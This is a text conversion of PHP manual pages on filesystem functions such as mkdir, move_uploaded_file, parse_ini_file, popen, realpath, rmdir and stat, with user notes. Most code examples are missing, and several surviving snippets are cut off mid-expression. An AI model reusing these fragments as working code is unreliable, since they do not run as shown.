Gets information about a link Description~ > int linkinfo ( string $path ) < Gets information about a link. This function is used to verify if a link (pointed to by path) really exists (using the same method as the S_ISLNK macro defined in stat.h). Parameters~ path ----- Path to the link. Return Values~ linkinfo() returns the st_dev field of the Unix C stat structure returned by the lstat system call. Returns 0 or FALSE in case of error. Changelog~ Version Description 5.3.0 This function is now available on Windows platforms (Vista, Server 2008 or greater). Examples~ Example #1 linkinfo() example > < See Also~ |symlink|() - Creates a symbolic link |link|() - Create a hard link |readlink|() - Returns the target of a symbolic link -------------------------------------------------------------------------------- *lstat* +-------+~ | lstat |~ +-------+~ (PHP 4, PHP 5, PHP 7) lstat — Gives information about a file or symbolic link Description~ > array lstat ( string $filename ) < Gathers the statistics of the file or symbolic link named by filename. Parameters~ filename -------- Path to a file or a symbolic link. Return Values~ See the manual page for stat() for information on the structure of the array that lstat() returns. This function is identical to the stat() function except that if the filename parameter is a symbolic link, the status of the symbolic link is returned, not the status of the file pointed to by the symbolic link. Examples~ Example #1 Comparison of stat() and lstat() > < The above example will output something similar to: Information that differs between the two files. Array ( [ino] => 97236376 [mode] => 33188 [size] => 34 [atime] => 1223580003 [mtime] => 1223581848 [ctime] => 1223581848 [blocks] => 8 ) Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Notes~ Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |stat|() - Gives information about a file -------------------------------------------------------------------------------- *mkdir* +-------+~ | mkdir |~ +-------+~ (PHP 4, PHP 5, PHP 7) mkdir — Makes directory Description~ > bool mkdir ( string $pathname [, int $mode = 0777 [, bool $recursive = false [, resource $context ]]] ) < Attempts to create the directory specified by pathname. Parameters~ pathname -------- The directory path. mode ----- The mode is 0777 by default, which means the widest possible access. For more information on modes, read the details on the chmod() page. Note: mode is ignored on Windows. Note that you probably want to specify the mode as an octal number, which means it should have a leading zero. The mode is also modified by the current umask, which you can change using umask(). recursive --------- Allows the creation of nested directories specified in the pathname. context ------- Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams. Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 mkdir() example > < Example #2 mkdir() using the recursive parameter > < Errors/Exceptions~ Emits an E_WARNING level error if the directory already exists. Emits an E_WARNING level error if the relevant permissions prevent creating the directory. Notes~ Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. See Also~ |is_dir|() - Tells whether the filename is a directory |rmdir|() - Removes directory User Contributed Notes 35 notes~ 21 jack dot sleight at gmail dot com ¶7 years ago~ When using the recursive parameter bear in mind that if you're using chmod() after mkdir() to set the mode without it being modified by the value of uchar() you need to call chmod() on all created directories. ie: > < May result in "/test1/test2" having a mode of 0777 but "/test1" still having a mode of 0755 from the mkdir() call. You'd need to do: > < 11 aulbach at unter dot franken dot de ¶17 years ago~ This is an annotation from Stig Bakken: The mode on your directory is affected by your current umask. It will end up having ( and (not )). If you want to create one that is publicly readable, do something like this: > < 7 toppi at kacke dot de ¶5 years ago~ If you have problems with the SAFE MODE Restriction in effect i.e. if you try to create and access to subdirectorys recursive you can use ftp-lib like this. > < Maybe it helps. Toppi -------------------------------------------------------------------------------- *move_uploaded_file* +--------------------+~ | move_uploaded_file |~ +--------------------+~ (PHP 4 >= 4.0.3, PHP 5, PHP 7) move_uploaded_file — Moves an uploaded file to a new location Description~ > bool move_uploaded_file ( string $filename , string $destination ) < This function checks to ensure that the file designated by filename is a valid upload file (meaning that it was uploaded via PHP's HTTP POST upload mechanism). If the file is valid, it will be moved to the filename given by destination. This sort of check is especially important if there is any chance that anything done with uploaded files could reveal their contents to the user, or even to other users on the same system. Parameters~ filename -------- The filename of the uploaded file. destination ----------- The destination of the moved file. Return Values~ Returns TRUE on success. If filename is not a valid upload file, then no action will occur, and move_uploaded_file() will return FALSE. If filename is a valid upload file, but cannot be moved for some reason, no action will occur, and move_uploaded_file() will return FALSE. Additionally, a warning will be issued. Examples~ Example #1 Uploading multiple files > $error) { if ($error == UPLOAD_ERR_OK) { $tmp_name = $_FILES["pictures"]["tmp_name"][$key]; // basename() may prevent filesystem traversal attacks; // further validation/sanitation of the filename may be appropriate $name = basename($_FILES["pictures"]["name"][$key]); move_uploaded_file($tmp_name, "$uploads_dir/$name"); } } ?> < Notes~ Note: move_uploaded_file() is both safe mode and open_basedir aware. However, restrictions are placed only on the destination path as to allow the moving of uploaded files in which filename may conflict with such restrictions. move_uploaded_file() ensures the safety of this operation by allowing only those files uploaded through PHP to be moved. Warning If the destination file already exists, it will be overwritten. See Also~ |is_uploaded_file|() - Tells whether the file was uploaded via HTTP POST |rename|() - Renames a file or directory add a note add a note~ User Contributed Notes 51 notes 121 Yousef Ismaeil Cliprz ¶4 years ago~ Security tips you must know before use this function : First : make sure that the file is not empty. Second : make sure the file name in English characters, numbers and (_-.) symbols, For more protection. You can use below function as in example > < Third : make sure that the file name not bigger than 250 characters. as in example : > 225) ? true : false); } ?> < Fourth: Check File extensions and Mime Types that you want to allow in your project. You can use : pathinfo() http://php.net/pathinfo or you can use regular expression for check File extensions as in example #^(gif|jpg|jpeg|jpe|png)$#i or use in_array checking as > < You have multi choices to checking extensions and Mime types. Fifth: Check file size and make sure the limit of php.ini to upload files is what you want, You can start from http://www.php.net/manual/en/ini.core.php#ini.file-uploads And last but not least : Check the file content if have a bad codes or something like this function http://php.net/manual/en/function.file-get-contents.php. You can use .htaccess to stop working some scripts as in example php file in your upload path. use : AddHandler cgi-script .php .pl .jsp .asp .sh .cgi Options -ExecCGI Do not forget this steps for your project protection. 35 matthias dot dailey at gmail dot com ¶5 years ago~ The destination directory must exist; move_uploaded_file() will not automatically create it for you. 17 Dan Delaney ¶8 years ago~ For those using PHP on Windows and IIS, you SHOULD set the "upload_tmp_dir" value in php.ini to some directory around where your websites directory is, create that directory, and then set the same permissions on it that you have set for your websites directory. Otherwise, when you upload a file and it goes into C:\WINDOWS\Temp, then you move it to your website directory, its permissions will NOT be set correctly. This will cause you problems if you then want to manipulate that file with something like ImageMagick's convert utility. -------------------------------------------------------------------------------- *parse_ini_file* +----------------+~ | parse_ini_file |~ +----------------+~ (PHP 4, PHP 5, PHP 7) parse_ini_file — Parse a configuration file Description~ > array parse_ini_file ( string $filename [, bool $process_sections = false [, int $scanner_mode = INI_SCANNER_NORMAL ]] ) < parse_ini_file() loads in the ini file specified in filename, and returns the settings in it in an associative array. The structure of the ini file is the same as the php.ini's. Parameters~ filename -------- The filename of the ini file being parsed. process_sections ---------------- By setting the process_sections parameter to TRUE, you get a multidimensional array, with the section names and settings included. The default for process_sections is FALSE scanner_mode ------------ Can either be INI_SCANNER_NORMAL (default) or INI_SCANNER_RAW. If INI_SCANNER_RAW is supplied, then option values will not be parsed. As of PHP 5.6.1 can also be specified as INI_SCANNER_TYPED. In this mode boolean, null and integer types are preserved when possible. String values "true", "on" and "yes" are converted to TRUE. "false", "off", "no" and "none" are considered FALSE. "null" is converted to NULL in typed mode. Also, all numeric strings are converted to integer type if it is possible. Return Values~ The settings are returned as an associative array on success, and FALSE on failure. Changelog~ Version Description 7.0.0 Hash marks (#) are no longer recognized as comments. 5.6.1 Added new INI_SCANNER_TYPED mode. 5.3.0 Added optional scanner_mode parameter. Single quotes may now be used around variable assignments. Hash marks (#) should no longer be used as comments and will throw a deprecation warning if used. 5.2.7 On syntax error this function will return FALSE rather than an empty array. 5.2.4 Keys and section names consisting of numbers are now evaluated as PHP integers thus numbers starting by 0 are evaluated as octals and numbers starting by 0x are evaluated as hexadecimals. 5.0.0 Values enclosed in double quotes can contain new lines. 4.2.1 This function is now affected by safe mode and open_basedir. Examples~ Example #1 Contents of sample.ini ; This is a sample configuration file ; Comments start with ';', as in php.ini [first_section] one = 1 five = 5 animal = BIRD [second_section] path = "/usr/local/bin" URL = "http://www.example.com/~username" [third_section] phpversion[] = "5.0" phpversion[] = "5.1" phpversion[] = "5.2" phpversion[] = "5.3" urls[svn] = "http://svn.php.net" urls[git] = "http://git.php.net" Example #2 parse_ini_file() example Constants may also be parsed in the ini file so if you define a constant as an ini value before running parse_ini_file(), it will be integrated into the results. Only ini values are evaluated. For example: > < The above example will output something similar to: Array ( [one] => 1 [five] => 5 [animal] => Dodo bird [path] => /usr/local/bin [URL] => http://www.example.com/~username [phpversion] => Array ( [0] => 5.0 [1] => 5.1 [2] => 5.2 [3] => 5.3 ) [urls] => Array ( [svn] => http://svn.php.net [git] => http://git.php.net ) ) Array ( [first_section] => Array ( [one] => 1 [five] => 5 [animal] => Dodo bird ) [second_section] => Array ( [path] => /usr/local/bin [URL] => http://www.example.com/~username ) [third_section] => Array ( [phpversion] => Array ( [0] => 5.0 [1] => 5.1 [2] => 5.2 [3] => 5.3 ) [urls] => Array ( [svn] => http://svn.php.net [git] => http://git.php.net ) ) ) Example #3 parse_ini_file() parsing a php.ini file > < The above example will output something similar to: (parsed) magic_quotes_gpc = Yes (loaded) magic_quotes_gpc = Yes Notes Note: This function has nothing to do with the php.ini file. It is already processed by the time you run your script. This function can be used to read in your own application's configuration files. Note: If a value in the ini file contains any non-alphanumeric characters it needs to be enclosed in double-quotes ("). Note: There are reserved words which must not be used as keys for ini files. These include: null, yes, no, true, false, on, off, none. Values null, off, no and false result in "", and values on, yes and true result in "1", unless INI_SCANNER_TYPED mode is used (as of PHP 5.6.1). Characters ?{}|&~!()^" must not be used anywhere in the key and have a special meaning in the value. Note: Entries without an equal sign are ignored. For example, "foo" is ignored whereas "bar =" is parsed and added with an empty value. For example, MySQL has a "no-auto-rehash" setting in my.cnf that does not take a value, so it is ignored. See Also~ |parse_ini_string|() - Parse a configuration string User Contributed Notes 59 notes 81 pd at frozen-bits dot de ¶6 years ago~ I use the following syntax to secure my config.ini.php file: > ; < Works like a charm and is both: A valid PHP File and a valid ini-File ;) 17 uramihsayibok, gmail, com ¶6 years ago~ Undocumented feature! Using ${...} as a value will look to 1) an INI setting, or 2) an environment variable For example, > < Array ( [php_ext_dir] => ./ext/ [operating_system] => Windows_NT ) Present in PHP 5.3.2, likely in 5.x, maybe even earlier too. -------------------------------------------------------------------------------- *parse_ini_string* +------------------+~ | parse_ini_string |~ +------------------+~ (PHP 5 >= 5.3.0, PHP 7) parse_ini_string — Parse a configuration string Description~ > array parse_ini_string ( string $ini [, bool $process_sections = false [, int $scanner_mode = INI_SCANNER_NORMAL ]] ) < parse_ini_string() returns the settings in string ini in an associative array. The structure of the ini string is the same as the php.ini's. Parameters~ ini ----- The contents of the ini file being parsed. process_sections ---------------- By setting the process_sections parameter to TRUE, you get a multidimensional array, with the section names and settings included. The default for process_sections is FALSE scanner_mode ------------ Can either be INI_SCANNER_NORMAL (default) or INI_SCANNER_RAW. If INI_SCANNER_RAW is supplied, then option values will not be parsed. As of PHP 5.6.1 can also be specified as INI_SCANNER_TYPED. In this mode boolean, null and integer types are preserved when possible. String values "true", "on" and "yes" are converted to TRUE. "false", "off", "no" and "none" are considered FALSE. "null" is converted to NULL in typed mode. Also, all numeric strings are converted to integer type if it is possible. Return Values~ The settings are returned as an associative array on success, and FALSE on failure. Notes~ Note: There are reserved words which must not be used as keys for ini files. These include: null, yes, no, true, false, on, off, none. Values null, off, no and false result in "", and values on, yes and true result in "1", unless INI_SCANNER_TYPED mode is used. Characters ?{}|&~![()^" must not be used anywhere in the key and have a special meaning in the value. See Also~ |parse_ini_file|() - Parse a configuration file User Contributed Notes 2 notes 16 epicmaxim at gmail dot com ¶4 years ago~ parse_ini_string_m is analog for a parse_ini_string function. had to code this function due to the lack of a php 5.3 on some hosting. parse_ini_string_m: - ignores commented lines that start with ";" or "#" - ignores broken lines that do not have "=" - supports array values and array value keys > < example usage: > < variable $arr output: Array ( [simple] => Array ( [val_one] => some value [val_two] => 567 ) [array] => Array ( [val_arr] => Array ( [0] => arr_elem_one [1] => arr_elem_two [2] => arr_elem_three ) ) [array_keys] => Array ( [val_arr_two] => Array ( [6] => key_6 [some_key] => some_key_value ) ) ) -------------------------------------------------------------------------------- *pathinfo* +----------+~ | pathinfo |~ +----------+~ (PHP 4 >= 4.0.3, PHP 5, PHP 7) pathinfo — Returns information about a file path Description~ > mixed pathinfo ( string $path [, int $options = PATHINFO_DIRNAME | PATHINFO_BASENAME | PATHINFO_EXTENSION | PATHINFO_FILENAME ] ) < pathinfo() returns information about path: either an associative array or a string, depending on options. Note: For information on retrieving the current path info, read the section on predefined reserved variables. Caution pathinfo() is locale aware, so for it to parse a path containing multibyte characters correctly, the matching locale must be set using the setlocale() function. Parameters~ path ----- The path to be parsed. options ------- If present, specifies a specific element to be returned; one of PATHINFO_DIRNAME, PATHINFO_BASENAME, PATHINFO_EXTENSION or PATHINFO_FILENAME. If options is not specified, returns all available elements. Return Values~ If the options parameter is not passed, an associative array containing the following elements is returned: dirname, basename, extension (if any), and filename. Note: If the path has more than one extension, PATHINFO_EXTENSION returns only the last one and PATHINFO_FILENAME only strips the last one. (see first example below). Note: If the path does not have an extension, no extension element will be returned (see second example below). Note: If the basename of the path starts with a dot, the following characters are interpreted as extension, and the filename is empty (see third example below). If options is present, returns a string containing the requested element. Changelog~ Version Description 5.2.0 The PATHINFO_FILENAME constant was added. Examples~ Example #1 pathinfo() Example > < The above example will output: /www/htdocs/inc lib.inc.php php lib.inc Example #2 pathinfo() example showing difference between null and no extension > < The above example will output something similar to: string(0) "" Notice: Undefined index: extension in test.php on line 6 NULL Example #3 pathinfo() example for a dot-file > < The above example will output something similar to: Array ( [dirname] => /some/path [basename] => .test [extension] => test [filename] => ) See Also~ |dirname|() - Returns a parent directory's path |basename|() - Returns trailing name component of path |parse_url|() - Parse a URL and return its components |realpath|() - Returns canonicalized absolute pathname User Contributed Notes 33 notes 17 avi-team at inbox dot lv ¶9 years ago~ You shouldn't assign values as it is described in previous post // wrong: list( $dirname, $basename, $extension, $filename ) = array_values( pathinfo($file) ); if $file has no extension, you get wrong variable values: $extension would be assigned with 'filename' array element of pathinfo() result, but $filename - would be empty. 9 498936940 at qq dot com ¶10 months ago~ Note: pathinfo() is locale aware, so for it to parse a path containing multibyte characters correctly, the matching locale must be set using the setlocale() function. Reality: var_dump(pathinfo('???2016.xls')); exit(); array(4) { 'dirname' => string(1) "." 'basename' => string(8) "2016.xls" 'extension' => string(3) "xls" 'filename' => string(4) "2016" } Expect(Solve): setlocale(LC_ALL, 'zh_CN.UTF-8'); var_dump(pathinfo('???2016.xls')); exit(); array(4) { 'dirname' => string(1) "." 'basename' => string(17) "???2016.xls" 'extension' => string(3) "xls" 'filename' => string(13) "???2016" } 8 n0dalus ¶12 years ago~ If a file has more than one 'file extension' (seperated by periods), the last one will be returned. For example: > < will produce: Extension: gz and not tar.gz -------------------------------------------------------------------------------- *pclose* +--------+~ | pclose |~ +--------+~ (PHP 4, PHP 5, PHP 7) pclose — Closes process file pointer Description~ > int pclose ( resource $handle ) < Closes a file pointer to a pipe opened by popen(). Parameters~ handle ------ The file pointer must be valid, and must have been returned by a successful call to popen(). Return Values~ Returns the termination status of the process that was run. In case of an error then -1 is returned. Note: If PHP has been compiled with --enable-sigchild, the return value of this function is undefined. Examples~ Example #1 pclose() example > < Notes~ Note: Unix Only: pclose() is internally implemented using the waitpid(3) system call. To obtain the real exit status code the pcntl_wexitstatus() function should be used. See Also~ |popen|() - Opens process file pointer -------------------------------------------------------------------------------- *popen* +-------+~ | popen |~ +-------+~ (PHP 4, PHP 5, PHP 7) popen — Opens process file pointer Description~ > resource popen ( string $command , string $mode ) < Opens a pipe to a process executed by forking the command given by command. Parameters~ command ------- The command mode ----- The mode Return Values~ Returns a file pointer identical to that returned by fopen(), except that it is unidirectional (may only be used for reading or writing) and must be closed with pclose(). This pointer may be used with fgets(), fgetss(), and fwrite(). When the mode is 'r', the returned file pointer equals to the STDOUT of the command, when the mode is 'w', the returned file pointer equals to the STDIN of the command. If an error occurs, returns FALSE. Examples~ Example #1 popen() example > < If the command to be executed could not be found, a valid resource is returned. This may seem odd, but makes sense; it allows you to access any error message returned by the shell: Example #2 popen() example > &1', 'r'); echo "'$handle'; " . gettype($handle) . "\n"; $read = fread($handle, 2096); echo $read; pclose($handle); ?> < Notes~ Note: If you're looking for bi-directional support (two-way), use proc_open(). Note: When safe mode is enabled, you can only execute files within the safe_mode_exec_dir. For practical reasons, it is currently not allowed to have .. components in the path to the executable. Warning With safe mode enabled, the command string is escaped with escapeshellcmd(). Thus, echo y | echo x becomes echo y \| echo x. See Also~ |pclose|() - Closes process file pointer |fopen|() - Opens file or URL |proc_open|() - Execute a command and open file pointers for input/output User Contributed Notes 22 notes 9 anonymous at anon dot com ¶6 years ago~ If, on windows, you need to start a batch file that needs administrator privileges, then you can make a shortcut to the batch file, click properties, check to on "run as administrator" on one of the property pages, and then double-click the shortcut once (to initialize that "run as administrator" business). using popen("/path/to/shortcut.lnk") will then run your batch file with administrator privileges. handy for when you want to use cli php to do some long running tasks and that php-cli needs to use sessions.. -------------------------------------------------------------------------------- *readfile* +----------+~ | readfile |~ +----------+~ (PHP 4, PHP 5, PHP 7) readfile — Outputs a file Description~ > int readfile ( string $filename [, bool $use_include_path = false [, resource $context ]] ) < Reads a file and writes it to the output buffer. Parameters~ filename -------- The filename being read. use_include_path ---------------- You can use the optional second parameter and set it to TRUE, if you want to search for the file in the include_path, too. context ------- A context stream resource. Return Values~ Returns the number of bytes read from the file. If an error occurs, FALSE is returned and unless the function was called as @readfile(), an error message is printed. Examples~ Example #1 Forcing a download using readfile() > < The above example will output something similar to: Open / Save dialogue Notes~ Note: readfile() will not present any memory issues, even when sending large files, on its own. If you encounter an out of memory error ensure that output buffering is off with ob_get_level(). Tip A URL can be used as a filename with this function if the fopen wrappers have been enabled. See fopen() for more details on how to specify the filename. See the Supported Protocols and Wrappers for links to information about what abilities the various wrappers have, notes on their usage, and information on any predefined variables they may provide. Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams. See Also~ |fpassthru|() - Output all remaining data on a file pointer |file|() - Reads entire file into an array |fopen|() - Opens file or URL |include| - include |require| - require |virtual|() - Perform an Apache sub-request |file_get_contents|() - Reads entire file into a string Supported Protocols and Wrappers User Contributed Notes 32 notes 47 yura_imbp at mail dot ru ¶8 years ago~ if you need to limit download rate, use this code > 20,5 kb/s) $download_rate = 20.5; if(file_exists($local_file) && is_file($local_file)) { header('Cache-control: private'); header('Content-Type: application/octet-stream'); header('Content-Length: '.filesize($local_file)); header('Content-Disposition: filename='.$download_file); flush(); $file = fopen($local_file, "r"); while(!feof($file)) { // send the current file part to the browser print fread($file, round($download_rate * 1024)); // flush the content to the browser flush(); // sleep one second sleep(1); } fclose($file);} else { die('Error: The file '.$local_file.' does not exist!'); } ?> < 28 riksoft at gmail dot com ¶3 years ago~ Just a note for those who face problems on names containing spaces (e.g. "test test.pdf"). In the examples (99% of the time) you can find header('Content-Disposition: attachment; filename='.basename($file)); but the correct way to set the filename is quoting it (double quote): header('Content-Disposition: attachment; filename="'.basename($file).'"' ); Some browsers may work without quotation, but for sure not Firefox and as Mozilla explains, the quotation of the filename in the content-disposition is according to the RFC http://kb.mozillazine.org/Filenames_with_spaces_are_truncated_upon_download -------------------------------------------------------------------------------- *readlink* +----------+~ | readlink |~ +----------+~ (PHP 4, PHP 5, PHP 7) readlink — Returns the target of a symbolic link Description~ > string readlink ( string $path ) < readlink() does the same as the readlink C function. Parameters~ path ----- The symbolic link path. Changelog~ Version Description 5.3.0 This function is now available on Windows platforms (Vista, Server 2008 or greater). Return Values~ Returns the contents of the symbolic link path or FALSE on error. Examples~ Example #1 readlink() example > < See Also~ |is_link|() - Tells whether the filename is a symbolic link |symlink|() - Creates a symbolic link |linkinfo|() - Gets information about a link -------------------------------------------------------------------------------- *realpath_cache_get* +--------------------+~ | realpath_cache_get |~ +--------------------+~ (PHP 5 >= 5.3.2, PHP 7) realpath_cache_get — Get realpath cache entries Description~ > array realpath_cache_get ( void ) < Get the contents of the realpath cache. Return Values~ Returns an array of realpath cache entries. The keys are original path entries, and the values are arrays of data items, containing the resolved path, expiration date, and other options kept in the cache. Examples~ Example #1 realpath_cache_get() example > < The above example will output something similar to: array(2) { ["/test"]=> array(4) { ["key"]=> int(123456789) ["is_dir"]=> bool(true) ["realpath"]=> string(5) "/test" ["expires"]=> int(1260318939) } ["/test/test.php"]=> array(4) { ["key"]=> int(987654321) ["is_dir"]=> bool(false) ["realpath"]=> string(12) "/root/test.php" ["expires"]=> int(1260318939) } } See Also~ |realpath_cache_size|() - Get realpath cache size -------------------------------------------------------------------------------- *realpath_cache_size* +---------------------+~ | realpath_cache_size |~ +---------------------+~ (PHP 5 >= 5.3.2, PHP 7) realpath_cache_size — Get realpath cache size Description~ > int realpath_cache_size ( void ) < Get the amount of memory used by the realpath cache. Return Values~ Returns how much memory realpath cache is using. Examples~ Example #1 realpath_cache_size() example > < The above example will output something similar to: int(412) See Also~ |realpath_cache_get|() - Get realpath cache entries The realpath_cache_size configuration option User Contributed Notes 3 notes 9 Stephen Pritchard from Arcanavision ¶6 years ago~ "realpath_cache_size" is used by PHP to cache the real file system paths of filenames referenced instead of looking them up each time. Every time you perform any of the various file functions or include/require a file and use a relative path, PHP has to look up where that file really exists. PHP caches those values so it doesn’t have to search the current working directory and include_path for the file you are working on. If your website uses lots of relative path files, think about increasing this value. What value is required can be better estimated after monitoring by how fast the cache fills using realpath_cache_size() after restarting. Its contents can be viewed using realpath_cache_get(). -------------------------------------------------------------------------------- *realpath* +----------+~ | realpath |~ +----------+~ (PHP 4, PHP 5, PHP 7) realpath — Returns canonicalized absolute pathname Description~ > string realpath ( string $path ) < realpath() expands all symbolic links and resolves references to '/./', '/../' and extra '/' characters in the input path and returns the canonicalized absolute pathname. Parameters~ path ----- The path being checked. Note: Whilst a path must be supplied, the value can be blank or NULL In these cases, the value is interpreted as the current directory. Return Values~ Returns the canonicalized absolute pathname on success. The resulting path will have no symbolic link, '/./' or '/../' components. Trailing delimiters, such as \ and /, are also removed. realpath() returns FALSE on failure, e.g. if the file does not exist. Note: The running script must have executable permissions on all directories in the hierarchy, otherwise realpath() will return FALSE. Note: For case-insensitive filesystems realpath() may or may not normalize the character case. Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB. Changelog~ Version Description 5.3.0 Prior to this release, if only the last path component did not exist, realpath() would not fail on *BSD systems. realpath() now fails in this case. 5.2.1 Prior to this version, realpath() returned FALSE if path is an empty string or NULL. Examples~ Example #1 realpath() example > < The above example will output: /etc/passwd /tmp Example #2 realpath() on Windows On windows realpath() will change unix style paths to windows style. > < The above example will output: C:\WINDOWS\System32 C:\Program Files See Also~ |basename|() - Returns trailing name component of path |dirname|() - Returns a parent directory's path |pathinfo|() - Returns information about a file path User Contributed Notes 32 notes 34 runeimp at gmail dot com ¶3 years ago~ Needed a method to normalize a virtual path that could handle .. references that go beyond the initial folder reference. So I created the following. > < Will convert /path/to/test/.././..//..///..///../one/two/../three/filename to ../../one/three/filename 32 Sven Arduwie ¶8 years ago~ Because realpath() does not work on files that do not exist, I wrote a function that does. It replaces (consecutive) occurences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. Paths returned by get_absolute_path() contain no (back)slash at position 0 (beginning of the string) or position -1 (ending) > < A test: > < Returns: string(14) "this/a/test/is" As you can so, it also produces Yoda-speak. :) 24 Anonymous ¶4 years ago~ Note: If you use this to check if a file exists, it's path will be cached, and returns true even if the file is removed (use file_exists instead). -------------------------------------------------------------------------------- *rename* +--------+~ | rename |~ +--------+~ (PHP 4, PHP 5, PHP 7) rename — Renames a file or directory Description~ > bool rename ( string $oldname , string $newname [, resource $context ] ) < Attempts to rename oldname to newname, moving it between directories if necessary. If renaming a file and newname exists, it will be overwritten. If renaming a directory and newname exists, this function will emit a warning. Parameters~ oldname ------- The old name. Note: The wrapper used in oldname must match the wrapper used in newname. newname The new name. context ------- Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams. Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.3.1 rename() can now rename files across drives in Windows. 5.0.0 rename() can now also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support rename(). 4.3.3 rename() may now be able to rename files across partitions on *nix based systems, provided the appropriate permissions are held. Warnings may be generated if the destination filesystem doesn't permit chown() or chmod() system calls to be made on files — for example, if the destination filesystem is a FAT filesystem. Examples~ Example #1 Example with rename() > < See Also~ |copy|() - Copies file |unlink|() - Deletes a file |move_uploaded_file|() - Moves an uploaded file to a new location User Contributed Notes 41 notes 92 andrew at 21cv dot co dot uk ¶7 years ago~ Code first, then explanation. > < That doesn't rename the file within the folder, as you might assume, instead, it moves the file to whatever the PHP working directory is... Chances are you'll not find it in your FTP tree. Instead, use the following: > < 13 pcdinh at phpvietnam dot net ¶7 years ago~ For those who are still confused about the behavior of rename() in Linux and Windows (Windows XP) when target destination exists: I have tested rename($oldName, $targetName) in PHP 5.3.0 and PHP 5.2.9 on both OS and find that if a file named $targetName does exist before, it will be overwritten with the content of $oldName -------------------------------------------------------------------------------- *rewind* +--------+~ | rewind |~ +--------+~ (PHP 4, PHP 5, PHP 7) rewind — Rewind the position of a file pointer Description~ > bool rewind ( resource $handle ) < Sets the file position indicator for handle to the beginning of the file stream. Note: If you have opened the file in append ("a" or "a+") mode, any data you write to the file will always be appended, regardless of the file position. Parameters~ handle ------ The file pointer must be valid, and must point to a file successfully opened by fopen(). Return Values~ Returns TRUE on success or FALSE on failure. Examples~ Example #1 rewind() overwriting example > < The above example will output something similar to: Foolly long sentence. See Also~ |fread|() - Binary-safe file read |fseek|() - Seeks on a file pointer |ftell|() - Returns the current position of the file read/write pointer |fwrite|() - Binary-safe file write -------------------------------------------------------------------------------- *rmdir* +-------+~ | rmdir |~ +-------+~ (PHP 4, PHP 5, PHP 7) rmdir — Removes directory Description~ > bool rmdir ( string $dirname [, resource $context ] ) < Attempts to remove the directory named by dirname. The directory must be empty, and the relevant permissions must permit this. A E_WARNING level error will be generated on failure. Parameters~ dirname ------- Path to the directory. context ------- Note: Context support was added with PHP 5.0.0. For a description of contexts, refer to Streams. Return Values~ Returns TRUE on success or FALSE on failure. Changelog~ Version Description 5.0.0 As of PHP 5.0.0 rmdir() can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers for a listing of which wrappers support rmdir(). Examples~ Example #1 rmdir() example > < Notes~ Note: When safe mode is enabled, PHP checks whether the directory in which the script is operating has the same UID (owner) as the script that is being executed. See Also~ |is_dir|() - Tells whether the filename is a directory |mkdir|() - Makes directory |unlink|() - Deletes a file User Contributed Notes 27 notes~ 136 nbari at dalmp dot com ¶4 years ago~ Glob function doesn't return the hidden files, therefore scandir can be more useful, when trying to delete recursively a tree. > < 13 itay at itgoldman dot com ¶1 year ago~ some implementations of recursive folder delete don't work so well (some give warnings, other don't delete hidden files etc). this one is working fine: > < 36 info at top-info dot org ¶7 years ago~ The function delTree is dangerous when you dont take really care. I for example always deleted a temporary directory with it. Everthing went fine until the moment where the var containing this temporary directory wasnt set. The var didnt contain the path but an empty string. The function delTree was called and deleted all the files at my host! So dont use this function when you dont have a proper handling coded. Dont think about using this function only for testing without such a handling. Luckily nothing is lost because I had the local copy... -------------------------------------------------------------------------------- *set_file_buffer* +-----------------+~ | set_file_buffer |~ +-----------------+~ (PHP 4, PHP 5, PHP 7) set_file_buffer — Alias of stream_set_write_buffer() Description~ This function is an alias of: stream_set_write_buffer(). -------------------------------------------------------------------------------- *stat* +------+~ | stat |~ +------+~ (PHP 4, PHP 5, PHP 7) stat — Gives information about a file Description~ > array stat ( string $filename ) < Gathers the statistics of the file named by filename. If filename is a symbolic link, statistics are from the file itself, not the symlink. lstat() is identical to stat() except it would instead be based off the symlinks status. Parameters~ filename -------- Path to the file. Return Values~ stat() and fstat() result format Numeric Associative Description 0 dev device number 1 ino inode number * 2 mode inode protection mode 3 nlink number of links 4 uid userid of owner * 5 gid groupid of owner * 6 rdev device type, if inode device 7 size size in bytes 8 atime time of last access (Unix timestamp) 9 mtime time of last modification (Unix timestamp) 10 ctime time of last inode change (Unix timestamp) 11 blksize blocksize of filesystem IO ** 12 blocks number of 512-byte blocks allocated ** * On Windows this will always be 0. ** Only valid on systems supporting the st_blksize type - other systems (e.g. Windows) return -1. In case of error, stat() returns FALSE. Note: Because PHP's integer type is signed and many platforms use 32bit integers, some filesystem functions may return unexpected results for files which are larger than 2GB. Errors/Exceptions~ Upon failure, an E_WARNING is emitted. Examples~ Example #1 stat() example > < Example #2 Using stat() information together with touch() > < Notes~ Note: Note that time resolution may differ from one file system to another. Note: The results of this function are cached. See clearstatcache() for more details. Tip As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality. See Also~ |lstat|() - Gives information about a file or symbolic link |fstat|() - Gets information about a file using an open file pointer |filemtime|() - Gets file modification time |filegroup|() - Gets file group User Contributed Notes 17 notes 9 webmaster at askapache dot com ¶3 years ago~ On GNU/Linux you can retrieve the number of currently running processes on the machine by doing a stat for hard links on the '/proc' directory like so: $ stat -c '%h' /proc 118 You can do the same thing in php by doing a stat on /proc and grabbing the [3] 'nlink' - number of links in the returned array. Here is the function I'm using, it does a clearstatcache() when called more than once. > =' ); // Only call clearstatcache() if function called more than once */ if ( $runs++ > 0 ) { // checks if $runs > 0, then increments $runs by one. // if php version is >= 5.3.0 if ( $ver ) { clearstatcache( true, '/proc' ); } else { // if php version is < 5.3.0 clearstatcache(); } } $stat = stat( '/proc' ); // if stat succeeds and nlink value is present return it, otherwise return 0 return ( ( false !== $stat && isset( $stat[3] ) ) ? $stat[3] : 0 ); } ?> < 